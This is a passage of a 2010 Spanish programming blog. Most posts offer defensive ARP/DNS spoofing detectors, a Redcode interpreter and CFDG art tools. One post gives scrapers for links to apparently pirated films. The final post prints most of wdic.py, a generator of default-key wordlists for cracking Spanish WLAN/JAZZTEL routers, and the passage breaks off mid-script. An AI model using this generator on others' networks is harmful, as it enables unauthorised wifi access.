lunes, 23 de agosto de 2010

SniperlCat, un guardian de red

Hoy traigo un script en perl que vigila la red en busca de nuevos hosts o de ataques de ARP spoofing (buscando cambios en la tabla arp). El nombre, Sniperlcat es (obviamente) una mezcla entre snipercat y perl, lenguaje en el que esta programado.

El script se puede descargar aquí [sniperlcat.pl], o al final coloreado.

Simplemente hay que ejecutarlo y avisa de los cambios usando el libnotify de GTK2 (puede que sea necesario instalar las librerias Gtk para perl, libdesktop-notify-perl, o libgtk2-notify-perl ).
Por ejemplo, para un nuevo host en la red:

Si el nuevo host está spoofeado desde otro (si coinciden sus MAC):

Si cambia una MAC:


O si cambia la MAC de uno a través de un ARP spoof:

Hay que tener en cuenta algunas cosas:

  • El script no hace nada para evitar los ataques ARP spoof, solo los detecta
  • Si no se lanza con una configuración, utilizará como tal la tabla ARP en ese momento, si hay entonces un ARP spoof en marcha, lo tomará como el estado base.
Los parámetros aceptados son:

./sniperlcat [-h]|[-d | -v ] [-nf] [-c] [-n <red>] [-f <descriptor de red>] [-s <tiempo>]
-h  (--help): Muestra este mensaje
-d  (--daemonize): Se ejecuta de fondo
-nf (--no-fill): No llena la tabla de hosts (con nmap) antes de leerla
-c  (--cansino): Repite los avisos, aun los ya emitidos, en cada iteración
-v  (--verbose): Muestra más información por pantalla
-n  (--network): Especifica la red donde se ejecuta, por defecto 192.168.1.0/24
-f  (--file): Especifica el archivo de red inicial (se obtiene con arp -an)
-s  (--sleep): Especifica el tiempo en segundos de "descanso" entre iteraciones (por defeto 60)



Creo que solo necesitan explicación un par de cosas:

  • Antes de leer la tabla ARP, para llenarla con todos los host de la red se hace un `nmap $red -sP` , si consideras que no es necesario, usa -nf
  • Si la red es distinta de 192.168.1.0/24 (o 192.168.1.*), la puedes cambiar con -n red, como solo lo usa nmap, la sintaxis es la misma que este.
Hasta otra.

El script [sniperlcat.pl] :

#!/usr/bin/env perl
#
# SniperlCat
#
##############################################################################
#  Copyright (C) 2010 Kenkeiras <kenkeiras (arroba) gmail (punto) com>
#
#  This program is free software. It comes without any warranty, to
#  the extent permitted by applicable law. You can redistribute it
#  and/or modify it under the terms of the Do What The Fuck You Want
#  To Public License, Version 2, as published by Sam Hocevar.
#
#  See http://sam.zoy.org/wtfpl/COPYING for more details.
##############################################################################

my $appname = "Sniperlcat";

$app_icon = "";
$network = "192.168.1.*";
$verbose = 0;
$cansino = 0;

my $go_back = 0;
my $arp_fill = 1;
my $file = "";
my $sltime = 60;

use Gtk2::Notify -init, "Sniperlcat";

# Se va al fondo
sub daemonize{
    $verbose = 0;
    umask 0;
    open STDIN, "</dev/null" || die $!;
    open STDOUT,">>/dev/null" || die $!;
    open STDERR, ">>/dev/null" || die $!;
    defined ($pid=fork) || die $!;
    exit if $pid;
    setsid || die $!;
}

sub show_help{
        print "$appname\n";
        print "./sniperlcat [-h]|[-d | -v ] [-nf] [-c] [-n <red>] [-f <descriptor de red>] [-s <tiempo>]\n";
        print "-h  (--help): Muestra este mensaje\n";
        print "-d  (--daemonize): Se ejecuta de fondo\n";
        print "-nf (--no-fill): No llena la tabla de hosts (con nmap) antes de leerla\n";
        print "-c  (--cansino): Repite los avisos, aun los ya emitidos, en cada iteración\n";
        print "-v  (--verbose): Muestra más información por pantalla\n";
        print "-n  (--network): Especifica la red donde se ejecuta, por defecto 192.168.1.0/24\n";
        print "-f  (--file): Especifica el archivo de red inicial (se obtiene con arp -an)\n";  
        print "-s  (--sleep): Especifica el tiempo en segundos de \"descanso\" entre iteraciones (por defeto 60)\n";  
}

# Comprueba los parámetros

my $i = 0;
while ($i <= $#ARGV){
    if (($ARGV[$i] eq "-d") || ($ARGV[$i] eq "--daemonize")){
        $go_back = 1;
    }
    elsif (($ARGV[$i] eq "-h") || ($ARGV[$i] eq "--help")){
        show_help;
        exit 0;
    }
    elsif (($ARGV[$i] eq "-v") || ($ARGV[$i] eq "--verbose")){
        $verbose = 1;
    }
    elsif (($ARGV[$i] eq "-c") || ($ARGV[$i] eq "--cansino")){
        $cansino = 1;
    }
    elsif (($ARGV[$i] eq "-nf") || ($ARGV[$i] eq "--no-fill")){
        $arp_fill = 0;
    }
    elsif (($ARGV[$i] eq "-n") || ($ARGV[$i] eq "--network")){
        $i++;
        if ($i > $#ARGV){
            print "No se ha especificado la red\n";
            show_help;
            exit 1;
        }
        $network = $ARGV[$i];
    }
    elsif (($ARGV[$i] eq "-f") || ($ARGV[$i] eq "--file")){
        $i++;
        if ($i > $#ARGV){
            print "No se ha especificado el archivo de red\n";
            show_help;
            exit 1;
        }
        $file = $ARGV[$i];
    }
    elsif (($ARGV[$i] eq "-s") || ($ARGV[$i] eq "--sleep")){
        $i++;
        if ($i > $#ARGV){
            print "No se ha especificado el tiempo\n";
            show_help;
            exit 1;
        }
        $sltime = $ARGV[$i];
    }
    $i++;
}

daemonize if $go_back;

# LLena la tabla arp con nmap
sub fill_arp_table{
    `nmap $network -sP 2>/dev/null 1>/dev/null`;
}

# Carga la tabla arp de un archivo
sub load_arp_desc{
    my %tmplist = ();
    my $arp = $_[0];
    my @lines = split(/\n/,$arp);
    my $ip,$mac,$i = 0;
    my $max = @lines;

    while ($i < $max){
        # Extrae la IP
        @line = split(/ /,@lines[$i]);
        @ip = split(/\(/,$line[1]);
        @ip = split(/\)/,@ip[1]);
        $ip = @ip[0];


        # Y la MAC
        $mac = $line[3];

        # Y se introduce en la lista si es una MAC válida
        if (substr("$mac", 0, 1) ne "<"){
            $tmplist{"$ip"} = "$mac";
        }
        $i++;
    }
    return %tmplist;
}

# Carga la tabla arp
sub load_arp_list{
    my $arp = `arp -an`;
    return load_arp_desc($arp);
}

# Hace las comprobaciones
sub check_list{
    my $ip_list = $_[0];
    my $tmplist = $_[1];
    my $lastlist = $_[2];

    foreach my $ip (keys %$tmplist){
        my $mac = $tmplist->{$ip};
        # Si es un host nuevo
        if (!exists $ip_list->{$ip} ) {
            if ((!exists $lastlist->{$ip}) || ($cansino)){
                my $message = "Equipo desconocido en la red: $ip [$mac]";
                if ($mac ne "00:00:00:00:00"){ # Se suele utilizar para tapar
                                                                  # despues de arp spoofing.
                                                                  # No aporta nada
                    # Si la MAC está repetida, probablemente haya spoofing
                    foreach my $tmpip (keys %$ip_list){
                        if (($ip_list->{$tmpip} eq $mac) && ($tmpip ne $ip)){
                            $message .= ", posiblemente spoofeado desde $tmpip";
                        }
                    }
                }
                print "$message\n" if $verbose;
                my $notification = Gtk2::Notify->new("$appname", "$message","$app_icon");
                $notification->show();
            }
        }
        else{
            # Si cambio la MAC
            if ($ip_list->{$ip} ne $mac){
                if (($lastlist->{$ip} ne $mac)||($cansino)){
                    my $message = "La MAC de $ip ha cambiado de [".$lastlist->{$ip}."] a [".$mac."]";
                    if ($mac ne "00:00:00:00:00"){ # Se suele utilizar para tapar
                                                   # despues de arp spoofing.
                                                   # No aporta nada
                        # Si la MAC está repetida, probablemente haya spoofing
                        foreach my $tmpip (keys %$ip_list){
                            if (($ip_list->{$tmpip} eq $mac) && ($tmpip ne $ip)){
                                $message .= ", posiblemente spoofeado desde $tmpip";
                            }
                        }
                    }
                    print "$message\n" if $verbose;
                    my $notification = Gtk2::Notify->new("$appname", "$message","$app_icon");
                    $notification->show();
                }
            }
        }
    }
}

my %ip_list;
if ($file eq ""){
    if ($arp_fill){
        print STDERR "LLenando lista arp... " if $verbose;
        fill_arp_table;
        print STDERR "[OK]\n" if $verbose;
    }
    print STDERR "Leyendo tabla arp... " if $verbose;
    %ip_list = load_arp_list;
}
else{
    local $/=undef;
    open MYFILE, "$file" or die "Couldn't open file: $!";
    binmode MYFILE;
    $arp = <MYFILE>;
    close MYFILE;
    %ip_list = load_arp_desc("$arp");
}
print STDERR "[OK]\n" if $verbose;

my $lastlist = \%ip_list;
while (1){
    if ($arp_fill){
        fill_arp_table;
    }
    my %tmplist = load_arp_list;
    check_list(\%ip_list,\%tmplist,$lastlist);
    $lastlist = \%tmplist;

    sleep $sltime;
}

viernes, 20 de agosto de 2010

Detectando DNS y ARP spoofing

Pues eso, hoy, unas formas de detectar el spoofing de DNS (falseamiento de un nombre de dominio) y de ARP (que puede servir para suplantar una IP).

DNS

La forma de detectar un DNS spoofing es bastante simple, pero sigue siendo bastante efectiva para entornos de red local, el script es este o descargado aquí [dns.sh]:

#!/usr/bin/env bash
if [ "$2" == "" ]
    then
        echo "$0 <dirección a resolver> <servidor DNS a probar>"
        exit 1
    fi

echo -n "Velocidad: ";((time ping -c 1 "$2" >> /dev/null) 2>> /dev/stdout )|head -n 2|tail -n 1|cut -f2
echo -n "DNS: ";((time nslookup "$1" "$2" >> /dev/null) 2>> /dev/stdout )|head -n 2|tail -n 1|cut -f2

( ./script <dirección a resolver> <servidor DNS a probar> )

La idea es que compara el tiempo que se tarda en hacer un ping a un servidor DNS y el tiempo que tarda el mismo servidor en resolver una dirección, obviamente un servidor que no esta en la red local (como estaría el supuesto intruso), tardaría mas que el intruso, en la red local.

Por ejemplo, suponiendo que los resultados normales (sin spoofing) fueran estos:


Velocidad: 0m0.068s
DNS: 0m0.075s

Velocidad: 0m0.061s
DNS: 0m0.066s

Velocidad: 0m0.060s
DNS: 0m0.067s

Velocidad: 0m0.061s
DNS: 0m0.070s

Velocidad: 0m0.060s
DNS: 0m0.066s


Los valores con un DNS spoofing podrian ser:


Velocidad: 0m0.060s
DNS: 0m0.015s

Velocidad: 0m0.065s
DNS: 0m0.014s

Velocidad: 0m0.061s
DNS: 0m0.014s

Velocidad: 0m0.066s
DNS: 0m0.014s

Velocidad: 0m0.061s
DNS: 0m0.014s


La diferencia es obvia, el tiempo para resolver sin spoofing es ligeramente mayor que el tiempo de ping, mientras que el tiempo para resolver con spoofing es menos de la mitad del tiempo de ping.

ARP

La forma de detectar un ARP spoofing tambien es bastante simple, si al comprobar la tabla ARP hay MAC's repetidas, significa que (alguna de las repetidas) está spoofeada. Quizá sea necesario llenar la tabla con los host de la red para poder comprobar las MAC de todo la red, se puede hacer simplemente con:


nmap 192.168.0.* -sP


(El 192.168.0.* habría que cambiarlo por el adecuado para la red)
 El script es (o aquí [arp.sh]):

#!/usr/bin/env bash

mip=""
t=0
for a in $(arp -a|sed -e "s/ /_/g" ); do
        ip=`echo $a|cut "-d_" -f2|cut -d\( -f2|cut -d\) -f1`
        mac=`echo $a|cut "-d_"  -f4`
        if [ ${mac,0,1}"" != "<" ]
            then
                # echo "IP: $ip MAC: $mac"
                t=$(($t + 1))
                i=0
                lip=""
                for tmp in $mip ; do
                    if [ `echo $tmp|cut -d_ -f2` == "$mac" ]
                        then
                            echo "MAC duplicada $ip - "`echo $tmp|cut -d_ -f1`" [$mac]"
                        fi
                done
                mip="$mip $ip"_"$mac"
            fi
    done

Simplemente comprueba las MAC duplicadas, y avisa de ello, no requiere interpretación por parte del administrador como el script de DNS (no hay que ver que indican los datos, hay spoof o no).

Y eso es todo, hasta otra.

domingo, 15 de agosto de 2010

Buscador de series/peliculas

Antes de nada decir que como los exámenes se acercan y blablabla... el ritmo de posteo descenderá (aún más) y habrá que tirar de cosas improvisadas o que ya hay por el disco duro, avisados estáis ;)

Pues hoy traigo unos script's que buscan los enlaces para descargar/ver series o peliculas, a partir de 3 páginas:


Sin más dilación, los scripts: [downscripts.zip] (usan una versión aun en desarrollo de PyWC, incluída en el zip).

El motivo de usar PyWC en vez de los parsers de python es que el minidom se rompe con caracteres no ASCII, como una simple ñ, y SGMLlib y HTMLlib ya ni las probé porque se consideran obsoletas y no se portarán a python 3.
Hay 3 scripts: sydown.py pydown.pycinefind.py (lo primero que vino a la cabeza)

sydown muestra los enlaces (válidos) a megaupload de los capítulos de una serie:

Se puede lanzar como en la imágen, entonces el primer parámetro es el nombre de la serie (lo que se evaluará es si coincide con el principio del nombre de otra serie, da igual las mayúsculas o minúsculas), y el segundo parámetro es el número de idioma, van así (por ninguna razón concreta):
0) Castellano
1) Latino
2) Subtitulado
3) Inglés

O lanzarlo sin opciones, manejandolo por menús.

pydown, es exactamente igual, pero para películasyonkis, mismos parámetros y todo, con la diferencia de que lo que se evaluará es si lo de pidio el usuario está en el título, aunque sea en el medio, porque suelen tener el año antes:


Nota: el -v hace que el script muestre información de como vá (número de páginas ya comprobadas, por ahora como máximo unas 170) por stderr, así que se puede redireccionar la salida tranquilamente

Por último, cinefind busca los enlaces a megavideo y cineráculo de una película (enlaces que se sacan de cineráculo), como parámetro se usa el nombre de cada pelicula (puede buscarse más de una a la vez), y la información que se quiere que muestre con "-f <formato>", el formato es muy básico, hay que añadirle una "t" para que muestre el título de la película, "m" para el enlace a megavideo, y "c" para el enlace a cineráculo (el orden no se tiene en cuenta), el formato por defecto es "tm".

Nota: cuando muestra las películas comprobadas hay que tener en cuenta de que van de 20 en 20 (ahora mismo hay casi 20.000 en total), no lee 20 páginas a la vez (aunque una vez localizada una, la búsqueda del enlace de megavideo va en otro hilo). Esta información sigue saliendo por stderr, así que se puede redireccionar perfectamente.

Hasta otra.

miércoles, 11 de agosto de 2010

Intérprete de Redcode

[Link corregido]

Hoy traigo un pequeño intérprete de Redcode (si, el lenguaje del Corewars).
Tiene sus limitaciónes (digamos que sigue las primeras versiones del lenguaje), por ejemplo, no tiene p-space ni modificadores (instrucción.Modificador) a excepcion de STS, que muestra un carácter por pantalla, y LDS que obtiene un carácter de STDIN (instrucciones que no se usan en el juego ), para más referencias [ Redcode - Esolang ].

Obviamente la idea al programar esto fue intentar comprender un poco más como funcionan los intérpretes y compiladores.

Centrandose en el programa en sí, (se puede descargar aquí [redcode01.tar.gz]), lo único que hay que hacer es make para compilarlo, y

./redcode <Código fuente>

para intérpretar un código.Además decir que ignora las líneas con un '#' al principio, para permitir que el intérprete se lance con un #!.

Hay más formas de usarlo, se pueden ver con

kenkeiras@viaxante:~/%%%%%$ ./redcode
Uso: ./redcode [--help |--compile | --decompile | --load-compiled] [--verbose] [--mem-length=<mem length>] <file>
--help: Muestra esto - Shows this
--compile: Compila el bytecode y lo muestra por STDOUT - Compiles the bytecode and shows it throught STDOUT
--decompile: Decompila el bytecode - Decompiles the bytecode
--load-compiled: Ejecuta un bytecode - Executes a bytecode
--verbose: Muestra información para el debugging - Shows debugging info
--mem-length: Ajusta la longitud de la memoria - Set's the mem length

Creo que es bastante auto explicativo.

La parte de compilar y cargar directamente despues está para evitar el procesamiento extra del parser (esto para Redcode no tiene mucho sentido, pero para otros lenguajes podria tenerlo,y recordemos que la idea era aprender =) ).

Por último, algunos programas utilizados para probarlo...

ps: Perdón desde ya por el surfing de punteros :S.

El hola mundo (no puede faltar :D) [http://pastebin.com/cbtGkj5F]:

; Redcode Hello World, John Metcalf

write   sts.a  hello,     0
        sts.b  }write,    0
        djn    write,     #7

hello   dat    72,        101 ; He
        dat    108,       108 ; ll
        dat    111,       44  ; o,
        dat    32,        87  ;  W
        dat    111,       114 ; or
        dat    108,       100 ; ld
        dat    33,        10  ; !\n


Adaptado para usar SPL (varios procesos)[http://pastebin.com/rqrugthE]:

 ; Redcode multiprocess Hello World
; Original by John Metcalf
; Modified by kenkeiras (Added parallel functions)

spl fork
write   sts.a  hello, 0
        djn    -1, #7   

hello   dat    72,        101 ; He
        dat    108,       108 ; ll
        dat    111,       44  ; o,
        dat    32,        87  ;  W
        dat    111,       114 ; or
        dat    108,       100 ; ld
        dat    33,        10  ; !\n

fork    sts.b  }write, 0
        djn    -1, #7



 Un imp (simple pero eficaz para probar los extremos de la memoria):

mov    0, 1


Y uno que se copia seguido hacia atras[http://pastebin.com/x8qNf15b]:

;name Backrunner
;author Kenkeiras

      SUB #7,inst    ;Para reajustar el puntero de instruccion
      SUB #6,pos     ; "
      MOV >inst,>pos
      SEQ inst,check
          JMP -2

      JMP -14 ;Al proximo paso

pos   DAT #-9
inst  DAT #0 ;Los valores que quedaran despues de copiarse a si mismos
check DAT #2


Hasta otra.

[Referencias]
http://impomatic.blogspot.com/
Redcode - Esolang

jueves, 5 de agosto de 2010

Un wallpaper nuevo cada día (con CFDG)

Trasteando con CFDG, por decirlo así, el "padre" en 2D de Structure Synth, y tras comprobar que tiene la misma capacidad que su versión en 3D de generar gráficos aleatorios "interesantes", y que el fondo de pantalla ya lleva un buen tiempo siendo el mismo, ¿que mejor que hacer que este lo genere un programa, haciendo que sea nuevo cada vez? :D

La idea es bastante simple, hacer un script que llame a CFDG sobre un código hecho antes cada vez que se quiera (que el usuario se loguee o cada cierto tiempo aprovechando cron).

El script en sí es bastante sencillo, algo así lo haría perfectamente


 #!/usr/bin/env bash

wide=1280
high=800

cfdg back.cfdg -oback.png -w $wide -h $high &


Por supuesto, habría que cambiar wide por el ancho de la pantalla y high por su alto, para generar una imágen óptima.

El resto no es más dificil, hacer un archivo de CFDG, este por ejemplo genera espirales que parecen hechas con rotulador (¿?) , es grande para incluir más variaciones:

startshape init

rule init{
    dot { saturation 1}
}

// Dot made
rule dot 0.01 {
     SQUARE { }
     dot { s 0.995 rotate 1 x 1 hue -1  }
}

rule dot  {
     SQUARE { }
     dot { s 0.995 rotate -1 x 1 hue 1 }
}

rule dot 0.9 {
     SQUARE { }
     dot { s 1.005 rotate 1 x - 1}
}

/*// Comment this for removing color
rule init 1000{
    dot { saturation 1 brightness 0.9 }
}

rule dot 0.01{
    dot { brightness 0.90 }
}

rule dot 0.01{
    dot { brightness 0 }
}

rule dot 0.01{
    dot { brightness 0.4 }
}

rule dot 0.005{
    dot { hue 180 }

}
//*/


(El /* se puede eliminar para tener algo de colorido, para gustos...)
Y la imagen resultante de ejecutar el script se utiliza de fondo de pantalla, el resultado podría ser algo así en este caso:

Aunque claro, la gracia está en el cambio. Cómo hacer que se ejecute el script es cosa de cada uno, la forma más facil en las distribuciones con gnome (para Xfce, KDE lo mismo) es a través de Sistema > Preferencias > Aplicaciones al inicio, aunque (como ya se dijo antés), cron puede ser una opción interesante para que se renueve incluso cuando no se hace logout.

Hasta otra.

ps: La instalación de CFDG no tiene ningún misterio, se descomprime, se hace make para compilar y sudo cp cfdg /usr/bin/ para instalar.

[Referencias]
CFDG HowTo

miércoles, 4 de agosto de 2010

Eso pasa por no leer

La historia viene de atrás, intentando programar el módulo de la siguiente parte de Introducción a la criptografía, me di de frente con una parte del algoritmo en cuestion  (DSA), que dice así
Toma un primo p de una longitud dada (muy grande, para entendernos), y otro q, de 160 que sea divisor de p-1
Y ahí se armó el follon. Dejando a un script que buscase al tan ansiado q durante un tiempo no produjo resultados, ya es pesado de por si buscar primos de 160 bits cuanto más comprobar si son divisibles por, otro de como mínimo 512 bits... y no, 2 no vale, porque el otro divisor sería de 511 bits ;).

Siendo la epoca en la que fue, con poco tiempo, no me preocupe mucho de esto, pero puse un script a buscar ese número y que de paso hiciera una lista de todos los números primos que se fuera encontrando.
El script, después de 3 dias funcionando y más de millon y medio de números primos no dio con q , pero resulta que el propio FIPS 186 (la "especificación" de DSA) dice en el Apéndice 2 como obtener este par de números (p y q), tanto tiempo de CPU en vano... ¿o no?

La lista de primos en forma de módulo de python (está en la variable dumplist) se puede descargar aquí [dumped.py], no se que uso se le puede dar pero al fin y al cabo son millon y medio de primos a partir de 2^159 y hay gente con mucha imaginación :)

ps: La primera vez tarda un poco en importar, pero en cuanto hace el .pyc funciona relativamente rápido
ps2: Ahora que lo pienso... ¿este será el módulo de python más pesado?

Y eso es todo por hoy...
[Referencias]
FIPS 186

martes, 3 de agosto de 2010

Una GUI para CFDG

CFDG (Context Free Design Grammar) es un programa que genera arte en 2D a partir de código, de forma muy similar a como lo hace Structure Synth ( I y II ), de hecho, este se podría considerar una versión en 3D de CFDG.

Lo "malo" es que usarlo a través de la línea de comandos se puede hacer pesado, y las GUI...  me gustaría decir que las probé, pero ya fuera por un Error 404 o por que no compilaba, fue imposible, así que se improvisó una rápida con Lazarus.


Para usarlo hay que hacer es abrir el archivo de proyecto (.lpi) con lazarus, compilarlo, poner los binarios de la gui y de cfdg en el mismo directorio (a menos que el binario de cfdg esté en un $PATH), y ejecutar la gui... Si, un lío, si alguien conoce una forma mejor que avise

Un par de capturas:

El proyecto está alojado en SourceForge (aquí no se pierde la oportunidad de trastear con algo nuevo ;) [ CFDG Gui ], se puede descargar el código con


git clone git://cfdggui.git.sourceforge.net/gitroot/cfdggui/cfdggui


No tiene gran cosa, para generar la imágen se puede pulsar en "Generar" (un derroche de imaginación :D) o pulsar F5, en el menu de Archivo están las clásicas opciones de:
  • Abrir (Ctrl+O)
  • Guardar (Ctrl+S)
  • Guardar Como (Ctrl+Shift+S)
  • Guardar Imágen (Ctrl+I)
  • Salir (Ctrl+Q)
Y creo que no queda nada... solo decir que este dialecto de pascal (freepascal) no es el mismo que otro del que ya se habló Números pseudo-aleatorios con pascal (en ese caso era Pascal Estándar Extendido).

ps: Hace tiempo WindHack escribió un bloc de notas usando Lazarus, que puede resultar interesante para quién comienza con este lenguaje [ Notepad en GNU/Linux - Lazarus ]

ps2: Hay que reconocer que los de Lazarus tienen buen humor incluso con los errores :)}

lunes, 2 de agosto de 2010

Generador de diccionarios wifi

Hoy...un script que lleva en el disco duro desde hace un año, simplemente genera los diccionarios de contraseñas por defecto para varios tipos de routers. No se si desde entonces se descubrieron los patrones de nuevos routers, si alguien sabe de alguno que avise.

Se puede descargar aquí [wdic.py], o coloreado al final.
Lo dicho, ya tiene su tiempo y le hace falta una reescritura a C (en cuanto encuentre tiempo), pero funciona.

Hay dos formas de usarlo, lanzándolo directamente se maneja con menús


./wdic.py


 Toda la salida que no sean las contraseñas se hace por stderr, así que se puede redirigir tranquilamente y los menús seguirán saliendo:


./wdic.py > diccionario


O mandando todos los parámetros por la línea de comandos, así que funcionaría sin intervención del usuario, se pueden ver los parámetros con:


./wdic -?


Por ejemplo:

Hasta otra...


#!/usr/bin/env python
# 
# Escrito por kenkeiras
# Bajo la licencia GPLv3

import string
import sys 

#################################################################
# Esto elimina esos molestos ':' de la bssid

def clean_bssid(bssid):

        new=[]
        i=0
        for element in bssid:
          if element!=':':
                    new.append(element)
                    i=i+1

        return new

#################################################################    
# Esto comprueba que la mac/bssid tenga la longitud adecuada

def check_bssid(bssid,num):
    if len(bssid)==num:
        return True
    else:
        return False

#################################################################    
# Pasa un string a hexadecimal

def ascii2hex(arr):
        lst=[]
        for element in arr:
                elm=string.join(hex(ord(element)),"")
                lst.append(elm[2:len(elm)])
        return  string.join(lst,"")

##################################################################
# Esto va haciendo pasar a un array de enteros por todos los valores

def permute_int(array,num):
        new=array
        while num>0:
                if new[num]!=9:
                        new[num]+=1
                        break
                else:
                        new[num]=int(0)
                        num-=1
        return new

##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los valores decimales

def permute_text_int(array,num):
        new=array
        while num>0:
                if new[num]!='9':
                        new[num]=chr(ord(new[num])+1)
                        break
                else:
                        new[num]='0'
                        num-=1
        return new

##################################################################
# Esto va haciendo pasar a un array de caracteres en minuscula por todos los valores

def permute_lowcase(array,num):

        new=array
        while num>0:
                if new[num]!='z':
                        new[num]=chr(ord(new[num])+1)
                        break
                else:
                        new[num]='a'
                        num-=1
        return new



##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los valores hexadecimales

def permute_hex(array,num):

        new=array
        while num>0:
                if new[num]!='F':
                        if new[num]=='9':
                                new[num]='A'
                        else:
                                new[num]=chr(ord(new[num])+1)
                        break
                else:
                        new[num]='0'
                        num-=1
        return new

##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los caracteres y numeros

def permute_comp(array,num):

        new=array
        while num>0:
                if new[num]!='Z':
                        if new[num]=='9':
                                new[num]='A'
                        else:
                                new[num]=chr(ord(new[num])+1)
                        break
                else:
                        new[num]='0'
                        num-=1
        return new

###################################################################
# Cambia todas las letras de un array de caracteres hexadecimales a mayuscula

def hex_upcase(array):
        new=[]
        for element in array:
                if element<='9':
                        new.append(element)
                else:
                        if element>='a':
                                if element=='a':
                                        new.append('A')
                                elif element=='b':
                                        new.append('B')
                                elif element=='c':
                                        new.append('C')
                                elif element=='d':
                                        new.append('D')
                                elif element=='e':
                                        new.append('E')
                                elif element=='f':
                                        new.append('F')

                        else:
                                new.append(element)
        return new

##################################################################
# Muestra un array

def strshow(array):
        print string.join(array,'')

##################################################################
#
# Aqui empieza lo interesante... ;)}
#
##################################################################
# WLAN
# Para las redes WLAN_XX y JAZZTEL_XX
# Esto va preparando las contrasenhas y las va pasando al strshow para que las muestre

def show_wlan(p1,p2,end):
        act=[]
        fin=[]
        passwd=range(13)
        for char in p1:
                act.append(char)
                fin.append(char)
        i=0
        while (i<4):
                act.append('0')
                fin.append('F')
                i+=1
        for char in p2:
                act.append(char)
        for char in end:
                fin.append(char)
        if (p2=="00"):
                offset=12
        else:
                offset=10
        while (act!=fin):
                i=0
                for char in act:
                        passwd[i]=str(char)
                        i+=1
                strshow(passwd)
                if act[11:13]==fin[11:13]:
                        act=permute_hex(act,offset)
                else:        
                        act=permute_hex(act,offset)
        strshow(fin)

##################################################################
# Esto recibe la mac, busca el modelo del router y manda el principio de la contrasenha y el final (que viene de la funcion que wlan) a show_wlan
# Nota: se espera que el primer par de la bssid sea 00, asi que ya no se comprueba

def get_wlan_bssid(mac,chars,end):
        # Z-Com
        # 
        if (mac[2]=='6' and mac[3]=='0' and mac[4]=='B' and mac[5]=='3'):
                show_wlan('Z001349',chars,end)
                
        # Xavy
        # 
        elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='8'):
                show_wlan('X000138',chars,end)
                
        # Comtrend
        # 
        elif (mac[2]=='0' and mac[3]=='3' and mac[4]=='C' and mac[5]=='9'):
                show_wlan('C0030DA',chars,end)
                
        # Zyxel
        # ->(thefkboss)
        elif (mac[2]=='A' and mac[3]=='0' and mac[4]=='C' and mac[5]=='5'):
                show_wlan('Z001349',chars,end)
                
        # Comtrend (otro mas)
        # ->(dnreinad)
        elif (mac[2]=='1' and mac[3]=='6' and mac[4]=='3' and mac[5]=='8'):
                show_wlan('C0030DA',chars,end)
                
        # P-660-HW-D1
        # ->(Tertulia de foro.elhacker.net)
        elif (mac[2]=='1' and mac[3]=='3' and mac[4]=='4' and mac[5]=='9'):
                show_wlan('Z001349',chars,end)
                show_wlan('Z0002CF',chars,end)
                
        # ZyGate
        # 
        elif (mac[2]=='0' and mac[3]=='2' and mac[4]=='C' and mac[5]=='F'):
                show_wlan('Z0002CF',chars,end)
                show_wlan('Z0023F8',chars,end)
                
        # Jazztel 
        elif (mac[2]=='1' and mac[3]=='A' and mac[4]=='2' and mac[5]=='B'):
               show_wlan('E001D20',chars,end)
        # Y Comtrend 2007-2008
        # ->(dudux* y dnreinad)
               show_wlan('C0030DA',chars,end)
               show_wlan('C001D20',chars,end)

        # ZyGate
        # ->(pianista y Sycho)
        elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='C' and mac[5]=='B'):
                show_wlan('Z0002CF',chars,end)
                show_wlan('Z0019CB',chars,end)
                
        # Comtrend
        # ->(hrodgar)
        elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='1' and mac[5]=='5'):
                show_wlan('C0030DA',chars,end)
                
        # Comtrend 2008
        # ->(Mugen de el foro.elhacker.net)
        elif (mac[2]=='3' and mac[3]=='0' and mac[4]=='D' and mac[5]=='A'):
                show_wlan('C0030DA',chars,end)
                
        # Comtrend 2008
        #
        elif (mac[2]=='1' and mac[3]=='D' and mac[4]=='2' and mac[5]=='0'):
                show_wlan('C001D20',chars,end)
                
        # Zyxel P660HW-D1  2009
        # ->(Zim_Zum y buckynet de seguridadwireless.net)
        elif (mac[2]=='2' and mac[3]=='3' and mac[4]=='F' and mac[5]=='8'):
                show_wlan('C0023F8',chars,end)
                
        # Xavy 2009
        # ->(zim_zum y *dudux)
        elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='6'):
                show_wlan('X000138',chars,end)
        
        
        else:
                print >> sys.stderr, "Error, MAC comenzada por 00:"+str(mac[2])+str(mac[3])+":"+str(mac[4])+str(mac[5])+" no encontrada!!"

##################################################################
# Esto limpia la mac y coje lo interesante de la essid y lo manda todo a get_wlan_bssid

def wlan(essid,bssid):
        mac=range(12)
        variable_chars=[]
        end=[]
        if (essid[len(essid)-1])=='?':
                end.append('F')
                end.append('F')
                variable_chars.append('0')
                variable_chars.append('0')
        else:
                variable_chars.append(essid[len(essid)-2])
                variable_chars.append(essid[len(essid)-1])
                end=variable_chars
        mac=clean_bssid(bssid)
        mac=hex_upcase(mac)
        variable_chars=string.join(variable_chars,'')
        end=string.join(end,'')
        if check_bssid(mac,12)==False:
            print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
        else:
                get_wlan_bssid(mac,variable_chars,end)

###################################################################
# Este es el menu de las funciones de WLAN

def menu_wlan():
    print >> sys.stderr,"Introduce la MAC del router:",
    mac=raw_input('')
    print >> sys.stderr,"Introduce el nombre de la red (?? si no se conoce):",
    essid=raw_input('')
    wlan(essid,mac)


###################################################################
# r-wlan
# Para las redes r-wlan
# Este se encarga de todo el proceso de r-wlan (prepara las strings inicial y final y va mandandolas todas a strshow)

def r_wlan(opc,init=0,end=0):
        passwd=range(12)
        if opc=='a':
                act=[int(init[0]),int(init[1]),int(init[2]),int(init[3]),0,0,0,0]
                fin=[int(end[0]),int(end[1]),int(end[2]),int(end[3]),9,9,9,9]
        else:
                act=[0,0,0,0,0,0,0,0]
                fin=[9,9,9,9,9,9,9,9]
        passwd[8:12]='00000'
        while (act!=fin):
                i=0
                for caja in act:
                        passwd[i]=str(caja)
                        i+=1
                strshow(passwd)
                act=permute_int(act,7)
        #Y una ultima vez para la ultima string
        i=0
        for caja in act:
                passwd[i]=str(caja)
                i+=1
        strshow(passwd)

###############################################################
# Muestra las opciones para las redes r-wlan

def menu_r_wlan():
        opc=''
        init=''
        end=''
        
